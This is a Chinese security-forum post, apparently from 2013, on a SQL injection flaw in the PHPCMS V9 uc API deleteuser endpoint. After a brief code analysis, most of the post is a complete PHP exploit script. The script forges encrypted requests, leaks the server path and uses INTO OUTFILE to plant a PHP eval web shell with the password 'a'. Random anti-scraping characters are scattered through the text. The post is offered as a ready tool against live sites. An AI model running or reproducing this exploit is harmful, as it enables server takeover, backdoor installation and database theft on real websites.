找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1905|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。8 h! Q( {! @: e/ M' o
$ t' \. k  }! ~* H5 n& q. m
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
* j  k% O$ I9 h  Z0 h
8 s. K3 j" ^' R漏洞分析:
6 K$ s" a+ |" i1.未启用ucenter服务的情况下uc_key为空
) `' [0 c1 q1 B0 C% ~define('UC_KEY', pc_base::load_config('system', 'uc_key'));
+ _, B' U3 ^7 ~2 _0 t0 v' o- {2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。: x$ L  {7 X: \, n! `9 C# {1 o
    public function deleteuser($get,$post) {
! S( A' a0 o9 }        pc_base::load_app_func('global', 'admin');
- a" I; s" Q. V- h0 @        pc_base::load_app_class('messagequeue', 'admin' , 0);
9 F. ?& {8 i" {        $ids = new_stripslashes($get['ids']);$ Q$ \. O4 j8 k% W& c  T
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
5 M0 j% B+ E( c) E% N1 ]SQL语句为
6 j+ L  d/ b& E' R4 V- ]SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
$ d( b# V: [- v- x, P4 k- f# G& B, L
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell6 D$ \8 G, X; g" T9 X6 J! ?" K7 I
<?php
6 @! U# c6 z7 U9 T) Qprint_r('
7 S0 X+ [$ X, ~5 X, {---------------------------------------------------------------------------
/ j* k, r! X# l, q, aPHPcms (v9 or Old Version) uc api sql injection 0day
. `( u2 |- B3 K$ ]% q0 b5 J8 qby rayh4c#80sec.com
7 K* X3 M$ |5 R. V: I: S---------------------------------------------------------------------------
( y* P# m) I/ R# O  p4 ~! Q% P');
( W3 D# j4 I% ?, u; Z$ k# d& Z* Y6 a, v
if ($argc<3) {- d4 [# U( |' I' {2 j8 d7 ~& i  E3 O
    print_r('& d( f$ J3 {5 n* o/ T% X
---------------------------------------------------------------------------5 s; H/ _* B/ i6 e' P
Usage: php '.$argv[0].' host path OPTIONS% R3 ~; \2 J: L- ]
host:      target server (ip/hostname)
2 j& T2 H+ a  R% X* Fpath:      path to phpcms
& ?7 [. Z) V3 Y! j- `3 M& |9 w. aOptions:3 A3 c5 H; L; Z8 Z  i1 D
-p[port]:    specify a port other than 80
' a' S' A( N# S5 a5 o -P[ip:port]: specify a proxy
! B- v/ U2 Z* e9 nExample:
: g0 l) i" F4 r4 r" c) }php '.$argv[0].' localhost /
" V9 @$ x" w) n- E# Wphp '.$argv[0].' localhost /phpcms/ -p81  L. q* D$ j! U* g% e. e: B
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
! O* I. G) \- z, m! j5 e9 k. A---------------------------------------------------------------------------- D; ?' \+ ^5 N  A4 K3 L, D1 @
');6 _& ]: J! u/ S5 D7 H/ B* f( y' x2 X
    die;
5 ^, W9 ]4 w+ o. O1 @$ m}
# b! `) c  r8 c, S4 k; G
1 H: U% R& W8 p  y! r1 \  N4 R# Yerror_reporting(7);
! Y# M0 u, f- y5 K6 |$ {* T8 Aini_set("max_execution_time",0);
' l' d! R1 V2 R. bini_set("default_socket_timeout",5);8 S+ T: K* E" w" C

5 u' @/ }% V. E) Zfunction quick_dump($string)9 t9 i5 N  ?; x2 I2 C! h
{# C/ L  z: w! m5 E
  $result='';$exa='';$cont=0;
/ m! A0 W# a. U, @* B6 \  for ($i=0; $i<=strlen($string)-1; $i++)
* F; C6 n/ G1 K8 t, w& s1 q  {
/ G: n4 d( o% w6 h7 J/ g1 o% Z' `   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
% W9 i: l+ a8 c* {* Y) @   {$result.="  .";}- F5 c$ w8 H! t+ x/ @
   else, o2 m  a3 T4 Y( @+ f- I7 |. C' S
   {$result.="  ".$string[$i];}, K+ b) Y' L. p
   if (strlen(dechex(ord($string[$i])))==2)
1 N: D6 k3 h3 H: e9 n   {$exa.=" ".dechex(ord($string[$i]));}
5 H7 ]; H6 ~# V' k8 P7 G! D   else+ _7 {/ ]$ C4 Z& S$ F; R$ }& I
   {$exa.=" 0".dechex(ord($string[$i]));}
6 ]/ J6 _6 X8 K$ S; @5 Q! K   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}+ ^( A0 Z9 S& [* Q2 Y2 F: f
  }
( X7 ^& f% I/ p% h return $exa."\r\n".$result;4 H: `- M$ I& Q% l6 J1 {
}
* M% ^# r: P6 v: r; z' _7 V$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
9 p, Q3 S% F1 O' b& ]/ n9 F5 T# H7 H* ^, ^/ ^
function send($packet)1 f2 w$ E1 h; O+ ~
{
! n' M0 ]$ I' x8 g3 y  global $proxy, $host, $port, $html, $proxy_regex;4 x9 |) L  j3 P9 z; J( C
  if ($proxy=='') {
4 @  n, \9 r- p( V7 W* u    $ock=fsockopen(gethostbyname($host),$port);" [4 P  S+ p  R+ @+ y% ^
    if (!$ock) {0 M( T  b* U3 K2 v6 u& ]: ?% i
      echo 'No response from '.$host.':'.$port; die;
2 f! ]! ]. G/ @+ H    }9 e5 ?' I* P! P0 y( v# {. m
  }9 t% w7 P" P% W( n& B
  else {$ l. f1 m$ f0 t. F
        $c = preg_match($proxy_regex,$proxy);
5 v7 s9 k# |$ \3 ^! d# N; i    if (!$c) {. O- Y* Q, O. c  Y! @2 n9 Q" P1 a
      echo 'Not a valid proxy...';die;- s1 w8 o4 W. [9 T! w
    }
7 S- {' e+ i3 L1 T: ~! T- e% C: B    $parts=explode(':',$proxy);
! _( S2 ]4 ?7 Y4 ~3 V6 {3 z    $parts[1]=(int)$parts[1];5 B" _$ H, _5 F) V7 I- f
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";7 H" z7 ?  Z. m
    $ock=fsockopen($parts[0],$parts[1]);/ x% y* H! J/ p) W
    if (!$ock) {
. _8 E/ J$ e1 S! g) }      echo 'No response from proxy...';die;! _* R$ |' n8 V' Z
        }% I$ \8 ?: `% {( o) I6 C" i" a1 _1 _
  }
: T4 _' L7 k' r( s+ A5 w( ^  fputs($ock,$packet);. T3 `9 e$ {6 ]' Q
  if ($proxy=='') {
" j6 I! i6 f+ U+ ]. g' I    $html='';
( S& {. d1 n8 E2 B! S# M( j    while (!feof($ock)) {1 M  L6 y8 Z1 s( V
      $html.=fgets($ock);
' h- ?4 E0 \9 \4 i6 J  ^$ h    }
/ F- l' b2 \' y5 X, U  }+ G& v+ e$ P# z  W2 Y, B4 X
  else {6 u* c; P0 x; P6 e: l' }7 j+ O/ z
    $html='';7 G$ I* i  l$ G" k0 B+ y0 r
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {, d+ L4 Y+ _' e& `7 ^) w! r
      $html.=fread($ock,1);6 f4 B$ E' e# U# L& P! |% V6 X1 x
    }6 n: |. m/ Q" A. E) h' r7 d+ y
  }
# F8 f# q6 v( w6 p  fclose($ock);
6 `$ U8 V7 q* E! y9 t& C" W}
& Z2 X& y. y5 ]: [  C. x3 a
: `0 `/ D: x4 ^$host=$argv[1];
5 n3 J$ `; S8 s& n1 U3 @) p$path=$argv[2];
9 k/ `3 Q- Q( m: B8 [( b0 P# g- k' Y$port=80;: t# n* r7 U8 `
$proxy="";
/ u1 B! e" Y, I2 L# n& h, i/ {$ kfor ($i=3; $i<$argc; $i++){
/ e7 _1 p" C# s$ H0 {. z2 e5 f$temp=$argv[$i][0].$argv[$i][1];  T# ?3 ~/ A3 `
if ($temp=="-p"); S3 P4 m  K! I8 Z3 y0 E' m
{# s* f' K8 _8 b
  $port=(int)str_replace("-p","",$argv[$i]);5 ?( k9 I, U1 L( b5 _2 N' ?% v  u3 H
}
! G; f1 P) b& ]" d- Vif ($temp=="-P")
0 d, g( @% E9 w/ j7 ?0 C{4 `5 r. }7 Y- U4 i2 T5 Y
  $proxy=str_replace("-P","",$argv[$i]);
  F( g; L5 W" n  h' {4 u8 W3 u}
8 ]% g4 F/ @2 F0 C5 v}5 W) @! Q' z4 U
! ]8 m6 V9 ~/ T* L
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}" t9 u/ o2 i/ ]; O5 X
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}& s6 m4 ^; v, |4 N

) I5 y$ [9 s+ N  Mfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
! x1 v* j  N- b. e/ {# `& e
) _. F9 R; h: V# c    $ckey_length = 4;
% T% Q! I- t( v- I4 |6 R$ B2 A( i* p# `
    $key = md5($key ? $key : '');
8 A; q1 _" [) g- j+ V    $keya = md5(substr($key, 0, 16));
2 L3 I+ k# S- f+ w" G4 o    $keyb = md5(substr($key, 16, 16));6 }% g- i0 y! L& K
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';/ e' @8 N# j8 ]8 }/ W( F

! |0 e0 F, B- j9 F! s4 h    $cryptkey = $keya.md5($keya.$keyc);! s8 q" ]  D! A. r1 l0 t; h. `  F
    $key_length = strlen($cryptkey);! D" k/ G0 s! O' Y: v4 J

6 |9 h+ @7 a1 }! t' W( I) |; s    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;, s5 [8 w* Y/ v3 u( s6 Z( z
    $string_length = strlen($string);
( l& ?) J$ v: Y8 E6 O
9 I: a6 c& P' _5 W    $result = '';' v9 Z9 @; h/ x/ A3 R/ W
    $box = range(0, 255);* a/ b$ p' L& ^; }- G0 E) ~
% E* X2 k3 A+ Q! i$ c' u
    $rndkey = array();1 ?# E' x/ |0 a( d' i$ a
    for($i = 0; $i <= 255; $i++) {
: |" G! P; l! H! v7 p" @9 C) M        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
* k: T8 i4 a/ a4 g    }: a% d- L7 o" c* _9 Z# W2 ]5 ~
) a( l7 c& Z( O% V" U# i% f
    for($j = $i = 0; $i < 256; $i++) {
+ W/ h! k8 `2 ?+ Q0 T        $j = ($j + $box[$i] + $rndkey[$i]) % 256;3 E/ j: y" |5 Q4 y
        $tmp = $box[$i];
& n7 ~1 I5 O5 q+ r        $box[$i] = $box[$j];7 x# X. l0 a3 C. k
        $box[$j] = $tmp;) s* z# ?* e7 [0 c# ?5 c9 s: r3 |
    }6 [% _' v6 q$ v" k6 a) a
' m& W7 S. _6 w
    for($a = $j = $i = 0; $i < $string_length; $i++) {4 d* S. o- J; T
        $a = ($a + 1) % 256;& ^7 ^4 U1 |" q7 r2 |# s0 L
        $j = ($j + $box[$a]) % 256;4 w# ]% H1 @- x% u) `0 v% ^
        $tmp = $box[$a];
( o4 J: }8 n" Y+ x+ p. A        $box[$a] = $box[$j];: }$ G8 A% K5 M6 r% I) S
        $box[$j] = $tmp;* g+ ?$ O$ L9 T# i% R
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));# @) m/ `- X9 K# f0 r9 }; k5 S7 I
    }: R( t0 E$ `9 a+ X+ k. z) \- `- e

# |! j( T) m( L: R/ T0 A" e8 Y    if($operation == 'DECODE') {
/ j3 }9 R$ E- v/ S/ S& N        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {+ k9 C/ X+ i' _% l: ?  |5 M/ Y
            return substr($result, 26);
# W7 i3 E) A1 ]$ k' n% F$ K        } else {) |% g! n$ j0 y3 W! ^, f. B
            return '';0 k( c6 H+ _4 ~6 E( m
        }* t$ _0 s$ T* H% `- G- w+ [
    } else {% p1 u' [0 @  q8 `2 r7 e- c  F) ]5 ?
        return $keyc.str_replace('=', '', base64_encode($result));
, b- N) q: I( ^" j& d    }
3 d; o, C/ Q1 K; z5 c2 h/ n2 t( X5 \/ e/ I4 k/ X' M. B2 `" E* W  R, J
}
: R1 H, p- F1 k' |$ l
7 ^5 S! j; c$ K$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
) `/ r6 I3 }" C% Z) @2 A$SQL = urlencode(authcode($SQL, "ENCODE", ""));
% M1 [# t: d& q( d2 X; s! x" O7 y; Gecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
, ]4 F) e. I! w* r' s$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";( ~$ q6 m7 F! i1 P. H4 `( W. N* D
$packet.="User-Agent: Mozilla/5.0\r\n";
/ C$ M8 i  y0 y& N$ z$packet.="Host: ".$host."\r\n";
4 w! Y9 j* M: V2 k3 \$packet.="Connection: Close\r\n\r\n";4 j1 J# j: E/ Z4 a/ P$ L9 {
send($packet);
3 Z# C& q# Q$ [3 }1 Yif(strpos($html,"MySQL Errno") > 0){
% a/ q% B& Q& n9 gecho "[2] 发现存在SQL注入漏洞"."\n";
% V1 j  x! [. @" ?- {8 recho "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";4 m0 [; K1 c; S* s# G7 F
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";* A1 Z8 H: U; q3 G
$packet.="User-Agent: Mozilla/5.0\r\n";5 d3 H- }+ q2 \7 W
$packet.="Host: ".$host."\r\n";
9 z' D" r' ~1 L$packet.="Connection: Close\r\n\r\n";+ X; z. S5 h0 _+ {# F1 H/ r
send($packet);
+ H/ c4 _$ V) mpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);3 Q' ?5 i, I5 R9 A, L4 r% j
//print_r($matches);, @" |$ \- u9 b( q/ J. {* a- X
if(!empty($matches)){/ }7 `, |8 o. H$ y4 O
echo "[4] 得到web路径 " . $matches[0]."\n";+ T  a4 G0 @' K
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
' \. G/ Q, x7 k6 s4 J+ J$SQL = "time=999999999999999999999999&ids=1)";$ }& A& R" C  ?# z; o( K
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";7 z. l" c4 Y+ E; Y% d5 }2 N
$SQL.="&action=deleteuser";
. o) s# _2 q, [0 s$ o2 i$SQL = urlencode(authcode($SQL, "ENCODE", ""));
) Y8 _, f. y2 ?( Wecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";( X. W4 g$ O( K2 R
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% u" D5 S8 e" o2 R/ h: m$ M; Q$packet.="User-Agent: Mozilla/5.0\r\n";2 X) X! f! e% I  D  N
$packet.="Host: ".$host."\r\n";
1 ?: W+ ?( L5 G9 Z( [$packet.="Connection: Close\r\n\r\n";
1 V# r3 O7 l/ usend($packet);1 Q) s0 l+ _9 a( l9 _
if(strpos($html,"Access denied") > 0){
! |) ~, B( o6 m& c: A( e- [echo "[-] MYSQL权限过低 禁止写入文件 ";* h$ }8 b; H  `5 y1 \9 B( j) r
die;" Y% Z: Z! s1 O! k) O
}
" G  ~8 D" T" S! Zecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";/ q  j& @, T8 F. o5 y* M1 M
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";( N5 r1 k' H) h- [% z$ C
$packet.="User-Agent: Mozilla/5.0\r\n";7 C: @7 b' S/ X/ @7 o- M
$packet.="Host: ".$host."\r\n";& w+ r4 ^/ x- k, w% p9 F
$packet.="Connection: Close\r\n\r\n";1 o* n. z, f0 ]+ z% e/ f
send($packet);
' M) ], \* f" R% fif(strpos($html,"<title>phpinfo()</title>") > 0){
  q3 i* r: `+ O. z3 Uecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";+ O1 \2 C* s' i8 B; Z
}; R3 G! l  ]4 z4 Y/ q2 W2 D
}else{
7 I5 q0 q8 s1 ~1 }0 T5 yecho "[-]未取到web路径 ";
2 Q9 b& C1 _, ?; }5 {- ^1 }7 z}3 h  t% h: _# I0 z5 a# D
}else{
/ O$ J9 x, K' D: Eecho "[*]不存在SQL注入漏洞"."\n";! u9 I* ~' \) _' n! a
}
% S: ?$ r  e; R& B+ F$ t8 X  {/ t; b+ Y8 K, a
?>! |( v' l! t0 L7 Z% O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表